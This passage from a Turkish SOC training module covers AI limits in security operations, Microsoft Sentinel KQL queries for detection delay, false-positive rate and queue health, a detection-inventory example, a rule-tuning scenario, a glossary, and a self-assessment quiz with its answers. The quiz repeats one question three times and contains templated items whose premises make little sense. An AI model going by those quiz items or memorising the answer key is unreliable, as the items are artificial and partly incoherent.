Bu alanların ortak özelliği şudur: AI analistin iş yükünü azaltır ama karar sorumluluğunu devralmaz. NIST AI Risk Management Framework ve Generative AI Profile, AI sistemlerinin risklerini bağlam içinde yönetme ve güvenilirlik ilkelerini kurumsal hedeflerle uyumlu şekilde ele alma gereğini vurgular.

8.6.6 AI’ın SOC İçindeki Sınırlarını Bilme

AI destekli araçların kullanımı cazip görünse de SOC operasyonunda gerçekçi sınırlar vardır. Mevcut modeller bağlam-bağımlı kararlar için yetersiz kalabilir: kurumun iç yapısını, iş süreçlerini, varlık kritikliğini ve geçmiş olaylarını detaylı bilmeden ürettikleri öneriler yanlış olabilir.

Spesifik sınırlar şunlardır:

AI’ın ürettiği alarm özeti yanlış bilgi içerebilir.
Veri kalitesi düşükse AI çıktısı güvenilir olmaz.
AI’ın önerdiği sorgu yanlış tablo, alan veya zaman filtresi kullanabilir.
AI destekli SOAR aksiyonları yanlış pozitif senaryosunda iş sürekliliğini bozabilir.
Hassas log, kişisel veri, token, parola veya müşteri verisi AI aracına gönderilmeden önce veri işleme ve gizlilik politikası kontrol edilmelidir.
AI tarafından üretilen özet ile ham evidence ayrı tutulmalıdır.
Host isolation, account disable veya token revoke gibi yüksek etkili aksiyonlarda insan onayı olmadan AI/otomasyon kararı uygulanmamalıdır.

Dikkat: AI bir analist yetersizliğini gidermez; verimli çalışan bir analistin daha verimli çalışmasını sağlar. Eğitim almamış bir ekipte AI araçları yanlış kullanımın ölçeğini büyütür, yanlış kullanımı azaltmaz.

Komut & Araç Okuryazarlığı

SOC Metrik Sorgulama — Alert Generation Delay / Yaklaşık MTTD Hesabı

Komut / Sorgu / Araç Görünümü:

SecurityAlert
| where TimeGenerated > ago(30d)
| where Status == "Resolved"
| where isnotempty(StartTime)
| extend DetectionDelayMinutes = datetime_diff("minute", TimeGenerated, StartTime)
| where DetectionDelayMinutes >= 0
| summarize AvgDetectionDelay_minutes = avg(DetectionDelayMinutes),
MaxDetectionDelay_minutes = max(DetectionDelayMinutes),
Count = count()
by AlertSeverity
| sort by AlertSeverity asc

Platform / Araç: Microsoft Sentinel — KQL örneği

Amaç: Son 30 gün içindeki resolved alert’ler için severity bazında alert’in yakaladığı ilk aktivite zamanı ile alert’in üretildiği zaman arasındaki yaklaşık detection delay değerini hesaplamak.

Beklenen çıktı: Her severity seviyesi için ortalama ve maksimum detection delay.

Öğrenci çıktıda nereye bakmalı?

High veya kurum mapping’inde Critical kabul edilen alarmlarda detection delay ne kadar?

MaxDetectionDelay bir outlier mı yoksa sistematik bir gecikme mi?

Belirli severity’de delay sürekli yüksek mi?

Normal durum: Kurum SLA’sına göre değişir. Kritik kabul edilen alarm ailelerinde gecikmenin düşük olması beklenir.

Şüpheli durum: Kritik kabul edilen alarm ailesinde detection delay’in birkaç saate çıkması; kural gecikmeli çalışıyor olabilir, log ingestion yavaştır veya scheduled rule frekansı yetersizdir.

Yanlış yapılandırma / veri kalitesi problemi: StartTime alanı boş, yanlış veya detection mantığına uygun değilse hesap yanıltıcı olur. Bu sorgu gerçek MTTD değil, alert generation delay tahminidir.

Yorum: Gerçek MTTD hesaplanırken saldırının başlangıcı, ilk log zamanı, alert üretim zamanı ve incident oluşturma zamanı ayrı ayrı tanımlanmalıdır.

Rule Performance Dashboard Sorgusu — False Positive Oranı

Komut / Sorgu / Araç Görünümü:

SecurityIncident
| where TimeGenerated > ago(30d)
| summarize arg_max(TimeGenerated, *) by IncidentNumber
| where Status == "Closed"
| mv-expand RuleId = RelatedAnalyticRuleIds
| summarize Total = count(),
FalsePositives = countif(Classification =~ "FalsePositive"),
TruePositives = countif(Classification =~ "TruePositive"),
BenignPositives = countif(Classification =~ "BenignPositive")
by RuleId = tostring(RuleId)
| extend FP_Rate = round(todouble(FalsePositives) / Total * 100, 1)
| extend Benign_Rate = round(todouble(BenignPositives) / Total * 100, 1)
| sort by FP_Rate desc
| take 10

Platform / Araç: Microsoft Sentinel — SecurityIncident tablosu üzerinden KQL örneği

Amaç: En yüksek false positive oranına sahip ilk 10 analytic rule ID’sini tespit etmek.

Beklenen çıktı: Rule ID, toplam incident, false positive sayısı, benign positive sayısı ve false positive oranı.

Öğrenci çıktıda nereye bakmalı?

FP_Rate yüksek olan kurallar öncelikli tuning adaylarıdır.

Yüksek alarm hacmi + yüksek FP_Rate kombinasyonu analist zamanını en çok tüketen kuralı gösterir.

Benign_Rate yüksekse kural yanlış değil; expected activity / authorized activity ayrımı iyi yapılmalı ve dar kapsamlı tuning düşünülmelidir.

Normal durum: Evrensel bir FP oranı standardı yoktur. Kural türüne, ortama, veri kalitesine ve kurum kapanış taksonomisine göre değişir.

Şüpheli durum: FP_Rate çok yüksek ve alarm hacmi de yüksekse bu kural analist zamanını tüketiyor olabilir.

Yanlış yapılandırma / veri kalitesi problemi: SecurityIncident tablosu incident güncellendikçe yeni kayıt üretebilir; bu nedenle arg_max() kullanılmadan sayım yapılırsa aynı incident birden fazla kez sayılabilir. Ayrıca RelatedAnalyticRuleIds kural adı değil, rule ID alanıdır; gerçek kural adı için analytic rule metadata veya SecurityAlert join gerekebilir.

Yorum: FP oranı yüksek kurallar doğrudan kaldırılmamalıdır. Önce false positive’in kaynağı analiz edilmeli, ardından tuning, allowlist, suppression veya enrichment kararı verilmelidir.

Queue Health Dashboard — Yaşlanan Yüksek Öncelikli Incident Tespiti

Komut / Sorgu / Araç Görünümü:

SecurityIncident
| summarize arg_max(TimeGenerated, *) by IncidentNumber
| where Status in ("New", "Active")
| where Severity in ("High", "Medium", "Low", "Informational")
| extend AgeInHours = datetime_diff("hour", now(), CreatedTime)
| where Severity == "High" and AgeInHours > 4
| project CreatedTime,
IncidentNumber,
Title,
Severity,
Status,
Owner,
AgeInHours
| sort by AgeInHours desc

Platform / Araç: Microsoft Sentinel — SecurityIncident tablosu üzerinden KQL örneği

Amaç: 4 saatten uzun süredir açık duran High severity incident’leri tespit etmek.

Beklenen çıktı: Bekleyen incident’ler, yaş, severity, status ve owner bilgisi.

Öğrenci çıktıda nereye bakmalı?

AgeInHours — SLA ihlali eşiğinin kaç saat üzerinde?

Owner alanı boş mu? Sahiplenilmemiş olabilir.

Aynı Title’dan birden fazla incident var mı? Kural gürültüsü olabilir.

Kurum SLA’sına bağlıdır. High incident’ler uzun süre sahipsiz kalmamalıdır.

Şüpheli durum: 8+ saatlik açık High incident; analist kapasitesi problemi, shift handover boşluğu veya kural gürültüsü olabilir.

Yanlış yapılandırma / veri kalitesi problemi: Bazı kaynaklardan gelen alert’lerde “Critical” severity ayrı bir değer olarak kullanılabilir; Microsoft Sentinel tablolarında severity mapping üretim ortamına göre doğrulanmalıdır.

Bu sorgu SOC Lead’in günlük başlangıç rutinine eklenebilir ve queue health dashboard widget’ı olarak kullanılabilir.

Detection Inventory Örneklenmiş Yapısı

Bir detection inventory kaydı şu şekilde tutulabilir:

Alan	Örnek Değer
Rule ID	DET-2024-047
Rule Adı	Suspicious PowerShell Encoded Command
Platform	Microsoft Sentinel
MITRE Taktik	Execution
MITRE Teknik	T1059.001
Log Kaynağı	SecurityEvent / Sysmon Event ID 1
Sahip	analyst01@example.com
Son Güncelleme	2024-09-12
Son 30 Gün Alarm	47
FP Oranı	%23
Benign Positive Oranı	%11
Tuning Durumu	Allowlist güncellendi — svc_backup hariç tutuldu
Review Tarihi	2024-12-01
Durum	Aktif
Test Durumu	Historical replay ile test edildi
Changelog Linki	CHG-DET-2024-047

Bu yapı bir spreadsheet, wiki veya detection-as-code platformunda tutulabilir. Her kuralın bu alanlarla belgelenmesi, hem rule review sürecini hem de raporlamayı otomatize etmeyi kolaylaştırır.

Uygulama / Kontrol Listesi

SOC Metrik ve Raporlama Kalitesi Değerlendirme Kontrol Listesi

Hazırlık

SOC’un hangi metrikleri ölçtüğü ve bu metriklerin SIEM veya case management platformundan otomatik mi yoksa manuel mi toplandığı netleştirilmiş mi?

MTTD, MTTR ve MTTA için başlangıç/bitiş zamanı tanımları yazılı hâle getirilmiş mi?

Teknik ekip ve yönetim için ayrı rapor formatları mevcut mu?

Detection inventory güncel mi?

Son 6 ayda gözden geçirilmemiş aktif kural var mı?

Shift handover prosedürü yazılı hâle getirilmiş mi?

Analistler bu prosedürü tutarlı olarak uyguluyor mu?

Kontrol Adımları

Metrik Doğrulama

Son 30 günlük detection delay veya MTTD ortalamalarını severity bazında hesaplayın.

High ve kritik kabul edilen alarm ailelerinde değerler SLA ile uyumlu mu?

False positive rate son 30 günde hangi yönde hareket etti?

Benign positive / expected activity kapanışları false positive ile karıştırılmış mı?

Queue’da 24 saatten eski sahiplenilmemiş incident var mı?

Analyst workload dağılımı dengeli mi?

Belirli bir analist orantısız biçimde fazla alarm işliyor mu?

Raporlama Kalitesi

Son haftalık raporda false positive dağılımı, kritik vakalar ve SLA performansı var mı?

Son aylık raporda trend analizi ve detection coverage değerlendirmesi yer alıyor mu?

Executive dashboard “bugün kaç alarm” yerine queue sağlığı, kritik olaylar, coverage ve risk trendlerini gösteriyor mu?

Teknik rapor detection engineering backlog’a doğrudan iş çıkarıyor mu?

Detection İçerik Kalitesi

Son 6 ayda hiç alarm üretmemiş aktif kural var mı?

Bu kural neden sessiz: log mu gelmiyor, rule mantığı mı bozuk, ortamda davranış mı yok?

FP oranı yüksek kurallar tespit edildi mi?

Bu kurallar için tuning planı var mı?

Her aktif kuralın bir sahibi var mı?

Her kuralın son review tarihi kayıt altında mı?

Purple team veya red team çalışması yapıldıysa bulguları detection backlog’a yazıldı mı?

Yönetişim Kontrolü

SOC politika dokümanı güncel mi?

Son 12 ay içinde gözden geçirildi mi?

Tüm analistlerin yetki seviyeleri görev tanımlarıyla uyumlu mu?

Gereksiz yetkilendirme var mı?

Log verisi içeren sorgu çıktılarının paylaşım kanalları kontrollü mü?

SOAR response aksiyonları için onay ve geri alma prosedürü var mı?

Doğrulama

MTTD, MTTR ve MTTA hesaplamaları için kullanılan başlangıç ve bitiş zamanı tanımları ekip içinde tutarlı mı?

Farklı analistler farklı anları mı esas alıyor?

Raporlarda kullanılan metrikler SIEM’den otomatik mi alınıyor, yoksa manuel mi hesaplanıyor?

Manuel hesaplamada tutarsızlık riski var mı?

Detection inventory ile SIEM’deki aktif kurallar karşılaştırıldı mı?

Inventory’de olmayan ama SIEM’de çalışan “gizli kural” var mı?

Shift handover notları son bir ayda tutarlı biçimde yazıldı mı?

Case management’ta boş veya yüzeysel notlar var mı?

Kanıt Notu

Her kontrol döngüsü sonunda şu bilgiler kayıt altına alınmalıdır:

Değerlendirme tarihi ve kapsamı.

Metrik özeti: MTTD / detection delay, FP rate, benign positive oranı, queue health, SLA ihlal sayısı.

Tespit edilen boşluklar.

Boşluk yoksa “boşluk tespit edilmedi” notu.

Açılan aksiyon kalemleri.

Sorumlu kişi veya ekip.

Bir sonraki değerlendirme tarihi.

Geri Dönüş / Dikkat Edilmesi Gerekenler

Metrikleri iyileştirmek için alarm kapama hızını artırmak yerine alarm kalitesini iyileştirmeye odaklanın.

MTTD’yi kısaltmak için her alarmı hızla kapamak değil, doğru alarmları daha erken ve daha temiz bağlamla fark etmek hedeflenmelidir.

FP oranı yüksek kurallar kaldırılmadan önce neden yüksek olduğu analiz edilmelidir. Kaldırma kararı false negative riskini artırabilir.

Raporlar hazırlanırken veri kaynağı tutarsızlıklarına dikkat edin. Farklı platformlardaki zaman dilimi farklılıkları timeline analizini bozabilir.

Burnout sinyallerini yalnızca devir oranı üzerinden takip etmek geç tespite yol açar. Analist memnuniyet anketleri, izin kullanım örüntüleri ve mesai dışı çalışma oranları erken sinyal sağlayabilir.

Operasyonel Senaryo

Senaryo: Detection İçerik Kalitesi Sorununun SOC Raporunda Yüzeye Çıkması

Belirti

SOC Lead aylık rapor hazırlarken son 30 günlük metrik çıktısını inceliyor. False positive rate bir önceki aya göre %29’dan %51’e yükselmiş. Alarm hacmi genel olarak sabit kalmış; ancak kapanan alarmlar içinde false positive oranı belirgin biçimde artmış. Aynı dönemde analistlerin ortalama triaj süresi de artmış: geçen ay alarm başına ortalama 4,1 dakikaydı, bu ay 7,3 dakika.

İlk Düşünce

İki olası neden var: ya detection kurallarında geçtiğimiz ay bir şeyler değişti ya da ortamda alarmları tetikleyen meşru bir aktivite arttı. Artan triaj süresi analistlerin “bu alarm ne anlama geliyor?” sorusuyla daha fazla zaman harcadığını, yani bağlamın yetersiz olduğunu da işaret edebilir.

Kontrol Edilecek Noktalar

Geçen ay hangi detection kuralları güncellendi? Changelog’a bakılacak.

False positive kapanış kodlarına göre en fazla FP üreten kurallar hangileri?

Benign positive / expected activity kapanışları false positive olarak mı kaydedildi?

FP oranı yükselen kuralların log kaynağında bir değişiklik oldu mu?

Yeni sistem alındı mı, ortam değişti mi, yeni otomasyon hesabı devreye girdi mi?

Analistlerin FP kapanış notlarında ortak bir örüntü var mı?

“Bilinen otomasyon hesabı” mı, “test ortamı aktivitesi” mi, “backup rutini” mi?

Triaj süresini uzatan alarm türleri hangileri?

Bağlam eksikliği mi, alarm açıklaması yetersiz mi?

Kullanılacak Log / Telemetri Kaynakları

Case management platform: Son 30 günde kapatılan alarmların kapanış kodu ve notları.

SIEM kural yönetimi / changelog: Geçen ay hangi kuralların değiştirildiği.

Detection inventory: Her kuralın son 30 günlük FP oranı ve sorumlu analist bilgisi.

SIEM sorgusu: Kural bazlı alarm dağılımı ve FP oranı raporu.

Shift handover notları: Aynı kuralın vardiyalarda tekrar tekrar sorun olarak yazılıp yazılmadığı.

Bakılacak Alanlar

Case management’ta:

ClosureCode = "FalsePositive" ile kapatılan vakalar.

ClosureCode = "BenignPositive" veya kurum eşdeğeri kodlar.

AlertName — hangi kural en fazla FP üretiyor?

AnalystNotes — analistlerin neden FP dediğini açıkladığı notlar.

Detection inventory’de:

Geçen ay güncellenen kuralların güncel FP oranı.

Bu kuralların changelog kayıtları.

Review tarihi geçmiş kurallar.

Owner bilgisi eksik kurallar.

Toplanacak Kanıt

Kural bazlı FP oranı raporu: son 30 gün ve önceki 30 gün karşılaştırmalı.

FP kapanış notlarından çıkarılan örüntü özeti.

Changelog’dan geçen ay değiştirilen kuralların listesi.

Analist başına triaj süresi karşılaştırması.

Detection inventory’den ilgili kuralın owner, review tarihi ve tuning durum bilgisi.

Analiz

SIEM’den çekilen kural bazlı FP raporu incelendiğinde şu tablo çıkıyor: “Scheduled Task Creation — Unusual Hour” kuralı son 30 günde 143 alarm üretmiş, bunların 128’i false positive olarak kapatılmış. Bu da yaklaşık %89 false positive oranına karşılık geliyor.

Changelog’a bakıldığında bu kuralın 3 hafta önce bir detection mühendisi tarafından threshold/zaman penceresi açısından genişletildiği görülüyor. Önceki kural yalnızca gece 01:00-05:00 arası scheduled task oluşturma işlemlerini yakalarken, yeni sürüm gece 22:00-06:00 arasına genişletilmiş.

Analistlerin kapanış notlarında ortak bir örüntü var: “svc_backup hesabı tarafından bilinen yedekleme rutini, scheduled task oluşturuluyor, gece 23:30’da beklenen davranış.” Bu hesap allowlist’e alınmamış. Ek olarak kurumun IT altyapısındaki yeni sunucu yönetim yazılımı da bu saatlerde scheduled task oluşturuyor ve henüz tanımlanmamış.

Triaj süresinin uzamasının nedeni de netleşiyor: kuralın açıklaması güncellenmemiş, analistler “bu alarmda neye bakmalıyım?” sorusunu yanıtlamak için fazladan araştırma yapıyor.

False Positive İhtimali

Bu vakada yüksek false positive oranı zaten raporlanmıştır. Sorun güvenlik incident’i değil, detection kuralının tuning ve context ihtiyacıdır. Ancak dikkat edilmesi gereken nokta şudur: bu davranışların tamamı otomatik false positive kabul edilmemeli; svc_backup ve yeni yönetim yazılımı dar kapsamlı olarak doğrulanmalıdır. Yalnızca hesap adına göre geniş allowlist yapılırsa gerçek saldırılar kaçabilir.

Escalation Gerekir mi?

Bu bir güvenlik incident’i değildir; IR eskalasyonu gerekmez. Ancak detection improvement aksiyonu gerekir. Kuralın sahibi olan detection mühendisi, SOC Lead ve ilgili IT operasyon ekibiyle birlikte tuning planı yapılmalıdır.

Karar

Vaka güvenlik olayı olarak değil, detection improvement olarak işaretlenir.

Aksiyon kalemleri:

svc_backup ve yeni yönetim yazılımı hesabı dar kapsamlı allowlist’e alınacak.

Allowlist yalnızca hesap adına değil; beklenen host, beklenen görev adı, beklenen zaman aralığı ve beklenen binary path ile sınırlandırılacak.

Kural açıklaması güncellenecek.

Threshold değişikliğinin nedeni changelog’a eklenecek.

Kural bir sonraki rule review döngüsünde öncelikli olarak değerlendirilecek.

Bulgu → Etki → Öneri → Kanıt

Bulgu:
“Scheduled Task Creation — Unusual Hour” kuralı geçtiğimiz ay threshold genişletilmesinin ardından %89 false positive oranına ulaşmış. Bilinen otomasyon hesapları ve yeni yönetim yazılımı allowlist’e alınmamış, kural açıklaması güncellenmemiş. Bu durum toplam SOC false positive oranını %51’e çekmiş ve analist triaj süresini belirgin biçimde artırmış.

Etki:
Analist dikkati gereksiz alarmlarla tüketilmekte, gerçek tehditlerin aynı dönemde daha az dikkatle incelenmesi riski doğmaktadır. Analist verimliliği düşmekte ve alert fatigue / burnout riski artmaktadır.

Öneri:
svc_backup ve yönetim yazılımı hesaplarını kural kapsamından dar bağlamlı şekilde hariç tutacak allowlist ekle. Kural açıklamasını analistlerin triaj sırasında başvurabileceği şekilde güncelle. Threshold değişikliğinden önce test ortamında veya historical replay ile doğrulama adımı için detection mühendisliği sürecini gözden geçir.

Kanıt:
Case management FP raporu — son 30 gün, kural bazlı: DET-2024-047, 143 alarm, 128 FP, %89.
Changelog kaydı — threshold değişikliği tarihi ve gerekçesi.
Analist notları özeti — “svc_backup — bilinen yedekleme rutini” tekrarlayan örüntüsü.
Önceki ay FP oranı: %12, bu ay: %89.

Terimler Sözlüğü

Terim	Türkçe Karşılığı / Açıklama
MTTD	Mean Time to Detect — bir tehdidin gerçekleşmesiyle SOC tarafından fark edilmesi arasındaki ortalama süre.
MTTR	Mean Time to Respond / Resolve / Remediate — kurum tanımına göre tespitten aksiyona, handoff’a, containment’a veya kapanışa kadar geçen ortalama süre.
MTTA	Mean Time to Acknowledge — alarmın kuyruğa girmesiyle bir analist tarafından sahiplenilmesi arasındaki ortalama süre.
Alert Generation Delay	Alert’in yakaladığı ilk aktivite zamanı ile alert’in üretildiği zaman arasındaki gecikme. Gerçek MTTD ile karıştırılmamalıdır.
False Positive Rate	Belirli bir dönemde üretilen alarmlar içinde yanlış pozitif olarak kapatılanların oranı.
Benign Positive / Expected Activity	Alarm teknik olarak doğru çalışsa da davranışın kurum tarafından bilinen ve izin verilen aktivite olması.
True Positive Closure Rate / Alert Yield	Kapanışı yapılan alarmlar içinde gerçek güvenlik değeri taşıyanların oranı. False negative’leri göstermez.
Detection Coverage	Kurumun hangi ATT&CK tekniklerine, veri kaynaklarına ve olay ailelerine karşı tespit kapasitesine sahip olduğunu gösteren kapsama ölçümü.
Log Coverage	Bir tekniği görebilecek gerekli log kaynağının mevcut olup olmadığını gösteren görünürlük ölçümü.
Operational Coverage	Kuralın test edilip edilmediği, playbook’un olup olmadığı ve analistin ne yapacağını bilip bilmediği gibi operasyonel kapsama düzeyi.
Queue Health	Bekleyen alarm sayısı, yaşlanan vakalar, SLA ihlali oranı ve analist kapasitesini birlikte değerlendiren gösterge seti.
Analyst Workload	Analist başına düşen alarm, vaka ve investigation süresi metrikleri.
Burnout Metrics	SOC analistlerinin sürdürülebilir iş yüküyle çalışıp çalışmadığını izleyen göstergeler.
Detection Inventory	Tüm detection kurallarının sahip, log kaynağı, MITRE eşlemesi ve son güncelleme bilgisiyle tutulduğu merkezi kayıt.
Rule Review Cadence	Detection kurallarının düzenli aralıklarla gözden geçirildiği periyodik değerlendirme döngüsü.
Changelog	Detection kurallarındaki değişikliklerin ne zaman, kim tarafından ve neden yapıldığının kayıt altına alındığı tarihsel kayıt.
Versioning / Detection-as-Code	Detection kurallarını kod gibi versiyon kontrol sistemiyle yönetme yaklaşımı.
Sigma	Log verileri üzerinde şüpheli davranışları tanımlamak için kullanılan, çoğunlukla YAML formatındaki taşınabilir detection kural formatı.
Content Quality	Bir detection kuralının amacı, veri bağımlılıkları, MITRE eşlemesi ve analist kılavuzunu kapsayan kalite kriterleri seti.
Purple Team	Red team saldırı simülasyonu ile blue team gözlemi ve iyileştirmesini birleştiren ortak egzersiz.
Gap Analysis	SOC’un mevcut durumu ile hedeflenen durumu arasındaki farkları belirlemeye yönelik yapılandırılmış değerlendirme.
SOC Maturity	SOC’un reactive’den proactive, intelligence-driven ve AI-assisted seviyeye uzanan olgunluk değerlendirmesi.
SOC Roadmap	Gap analysis ve maturity değerlendirmesi çıktısını kısa, orta ve uzun vadeli projelere dönüştüren gelişim planı.
Lessons Learned	Kapanan olaylardan çıkarılan derslerin detection, playbook ve süreç iyileştirmesine dönüştürüldüğü değerlendirme süreci.
SLA	Service Level Agreement — alarm kabul, analiz, eskalasyon ve raporlama için tanımlanan süre beklentileri.
RACI Matrisi	Responsible, Accountable, Consulted, Informed — sorumluluk ayrımını görselleştiren yönetim aracı.
Shift Handover	Vardiya geçişlerinde bilgi sürekliliğini sağlamak için yapılan standart devir teslim süreci.
Minimum Yetki Prensibi	SOC araçlarına erişimin görev tanımıyla orantılı tutulması ilkesi.
Audit Trail	SOC araçlarında gerçekleştirilen eylemlerin izlenebilir biçimde kayıt altına alınması.
KVKK	6698 sayılı Kişisel Verilerin Korunması Kanunu — Türkiye’de kişisel veri işleme, saklama ve ihlal bildirimi düzenlemesi.
GDPR	General Data Protection Regulation — Avrupa’da kişisel veri koruma ve ihlal bildirimi yükümlülüklerini içeren düzenleme.
USOM	Ulusal Siber Olaylara Müdahale Merkezi — Türkiye’de ulusal siber güvenlik koordinasyon merkezi.
SOME	Siber Olaylara Müdahale Ekibi — kurum veya sektör düzeyinde siber olaylara müdahale birimi.
Alert Fatigue	Çok sayıda düşük kaliteli alarmın analist dikkatini, motivasyonunu ve karar kalitesini düşürmesi.
Executive Dashboard	Yönetim seviyesinde teknik detay yerine kurumsal güvenlik sağlığını özetleyen görselleştirme.
Detection Backlog	Geliştirilmesi planlanan ancak henüz hayata geçirilmemiş detection fikirlerinin önceliklendirildiği liste.
AI-Assisted SOC	Makine öğrenmesi ve yapay zekâ destekli araçların analist verimliliğini artırdığı, insan kararının merkezde kaldığı SOC olgunluk seviyesi.

Kendini Değerlendir — Metrik ve Yönetişim

Aşağıdaki 10 soru modül kazanımlarını ölçer. Her soru için en iyi cevabı seçin ve Testi Gönder düğmesine basın.

1) SIEM’de gece 03:00’te 4000 benzer «failed logon» alarmı geldi. İlk triyaj adımı?

A) SIEM’i kapatmak

B) Tüm kullanıcıları silmek

C) Kaynak IP, hedef hesap, zaman penceresi ve playbook ile önceliklendirme

D) Alarmı kalıcı bastırmak

Doğru: C
Gerekçe: Alarm selinde bağlam ve playbook triyajı kritiktir.

2) MTTD uzun, MTTR kısa. Bu neyi gösterir?

A) Olaylar geç fark ediliyor; müdahale hızlı

B) Log toplanmıyor

C) Hiç olay yok

D) Sadece false positive var

Doğru: A
Gerekçe: Tespit–müdahale metrikleri farklı aşamaları ölçer.

3) EDR bir süreçte «powershell.exe -enc ...» davranışı işaretledi; dosya imzası temiz. Analist ilk adımda ne yapmalı?

A) Yalnızca dosya adına bakmak

B) Tüm ağı kapatmak

C) Davranış bağlamını, ebeveyn süreci ve komut satırını inceleyip triyaj

D) Uyarıyı sessizce silmek

Doğru: C
Gerekçe: Davranışsal tespit doğrulama ve bağlam gerektirir.

4) «Executive dashboard» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) İnterneti kalıcı kapatmak

B) Yalnızca antivirüs imzasını güncellemek

C) Tüm logları silmek

D) Executive dashboard için tanımlı kontrolü devreye almak ve süreci dokümante etmek

Doğru: D
Gerekçe: Eksik kalan «Executive dashboard» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

5) Denetimde «SOC olgunluk modeli» için kanıt isteniyor. Hangi çıktı en uygundur?

A) Sözlü «biliyoruz» ifadesi

B) Politika, yapılandırma veya test sonucu ile uyum kanıtı

C) Ekran görüntüsü olmadan varsayım

D) Başka modülün raporu

Doğru: B
Gerekçe: «SOC olgunluk modeli» denetlenebilir kanıt gerektirir.

6) Bir stajyer «RACI matrisi» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Yalnızca yöneticiler bilir

B) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

C) Araç adı yeterlidir

D) Sadece sınavda sorulursa öğrenilir

Doğru: B
Gerekçe: «RACI matrisi» uygulama ve risk bağlamı olmadan anlamlı değildir.

7) SIEM’de gece 03:00’te 4000 benzer «failed logon» alarmı geldi. İlk triyaj adımı?

A) Kaynak IP, hedef hesap, zaman penceresi ve playbook ile önceliklendirme

B) Alarmı kalıcı bastırmak

C) SIEM’i kapatmak

D) Tüm kullanıcıları silmek

Doğru: A
Gerekçe: Alarm selinde bağlam ve playbook triyajı kritiktir.

8) «AI destekli SOC sınırları» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Tüm logları silmek

B) AI destekli SOC sınırları için tanımlı kontrolü devreye almak ve süreci dokümante etmek

C) İnterneti kalıcı kapatmak

D) Yalnızca antivirüs imzasını güncellemek

Doğru: B
Gerekçe: Eksik kalan «AI destekli SOC sınırları» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

9) SIEM’de gece 03:00’te 4000 benzer «failed logon» alarmı geldi. İlk triyaj adımı?

A) Kaynak IP, hedef hesap, zaman penceresi ve playbook ile önceliklendirme

B) Alarmı kalıcı bastırmak

C) Tüm kullanıcıları silmek

D) SIEM’i kapatmak

Doğru: A
Gerekçe: Alarm selinde bağlam ve playbook triyajı kritiktir.

10) Denetimde «Roadmap ve gap analysis» için kanıt isteniyor. Hangi çıktı en uygundur?

A) Ekran görüntüsü olmadan varsayım

B) Politika, yapılandırma veya test sonucu ile uyum kanıtı

C) Sözlü «biliyoruz» ifadesi

D) Başka modülün raporu

Doğru: B
Gerekçe: «Roadmap ve gap analysis» denetlenebilir kanıt gerektirir.

Bu Modülde Kazanılan Yetkinlikler

MTTD, MTTR ve MTTA gibi metriklerin yalnızca nasıl hesaplanacağını değil, nasıl yorumlanacağını ve operasyonel karar almada nasıl kullanılacağını kavradık. Bir sayının tek başına anlamsız olduğunu, bağlamla anlam kazandığını öğrendik.
MTTD hesaplanırken saldırı başlangıcı, ilk log zamanı, alert generation zamanı ve incident oluşturma zamanının farklı kavramlar olduğunu; bu ayrım yapılmadan ölçülen sürelerin yanıltıcı olabileceğini gördük.
MTTR’nin tek bir evrensel anlamı olmadığını; SOC handoff süresi, containment süresi, closure süresi ve full IR resolution süresi gibi alt metriklere ayrılması gerektiğini öğrendik.
False positive rate’in yalnızca bir kalite skoru değil, analist iş yükü, alert fatigue ve burnout riskiyle doğrudan bağlantılı bir operasyonel gösterge olduğunu anladık. Bu oranı düşürmenin doğru yolunun alarm kapatma hızını değil detection kalitesini artırmak olduğunu kavradık.
False positive ile benign positive / expected activity arasındaki farkı öğrendik. Kural doğru davranışı yakalıyor ama bu davranış kurum tarafından bilinen ve izin verilen bir aktiviteyse, bunun gerçek false positive olarak yazılmaması gerektiğini gördük.
True positive closure rate / alert yield metriğinin kapanan alarmlar içinde güvenlik değeri taşıyanları gösterdiğini; ancak false negative’leri hesaba katmadığı için gerçek coverage göstergesi olarak tek başına kullanılamayacağını kavradık.
Teknik ekipler ve üst yönetim için farklı içerik ve dilde rapor yazmanın neden gerektiğini; dashboard’da “neyi ölçtüğüne değil, neyi yönlendirdiğine” odaklanmanın daha değerli bir SOC görünürlüğü yarattığını öğrendik.
Detection inventory, rule review cadence, changelog ve versioning gibi detection lifecycle yönetim araçlarının nasıl kullanılacağını ve bunların yokluğunda ortaya çıkan zombi kural ve sahipsiz detection problemlerini değerlendirebildik.
Purple team çıktılarının ve lessons learned bulgularının somut detection improvement, playbook güncelleme ve log kaynaklarının genişletilmesi kararlarına nasıl dönüştürüleceğini kavradık.
SOC politikaları, SLA tanımları, RACI matrisi, shift handover disiplini, audit trail ve minimum yetki prensibinin operasyonel değerini — yalnızca belge olarak değil, analistlerin tutarlı karar almasını sağlayan çerçeve olarak — anladık.
KVKK, GDPR ve USOM/SOME gibi düzenlemelerin SOC analistine somut ne getirdiğini öğrendik: kişisel veri içeren loglarla çalışırken dikkat edilmesi gerekenler, veri ihlali ayrımını erken fark etme, hukuk/veri koruma/SOME kanalını doğru zamanda tetikleme sorumluluğu.
Reaktif alarm kapama döngüsünden çıkarak SOC’un nasıl öğrenen ve gelişen bir yapıya dönüştürüleceğini; gap analysis, maturity seviyesi değerlendirmesi ve roadmap oluşturma mantığıyla kavradık.
AI destekli araçların SOC’a katkı sağlayabileceği alanları gerçekçi biçimde değerlendirirken bu araçların sınırlarını da — hallucination riski, veri kalitesi bağımlılığı, insan onayı zorunluluğu, hassas veri riski ve yanlış otomasyon tehlikesi — net biçimde anladık.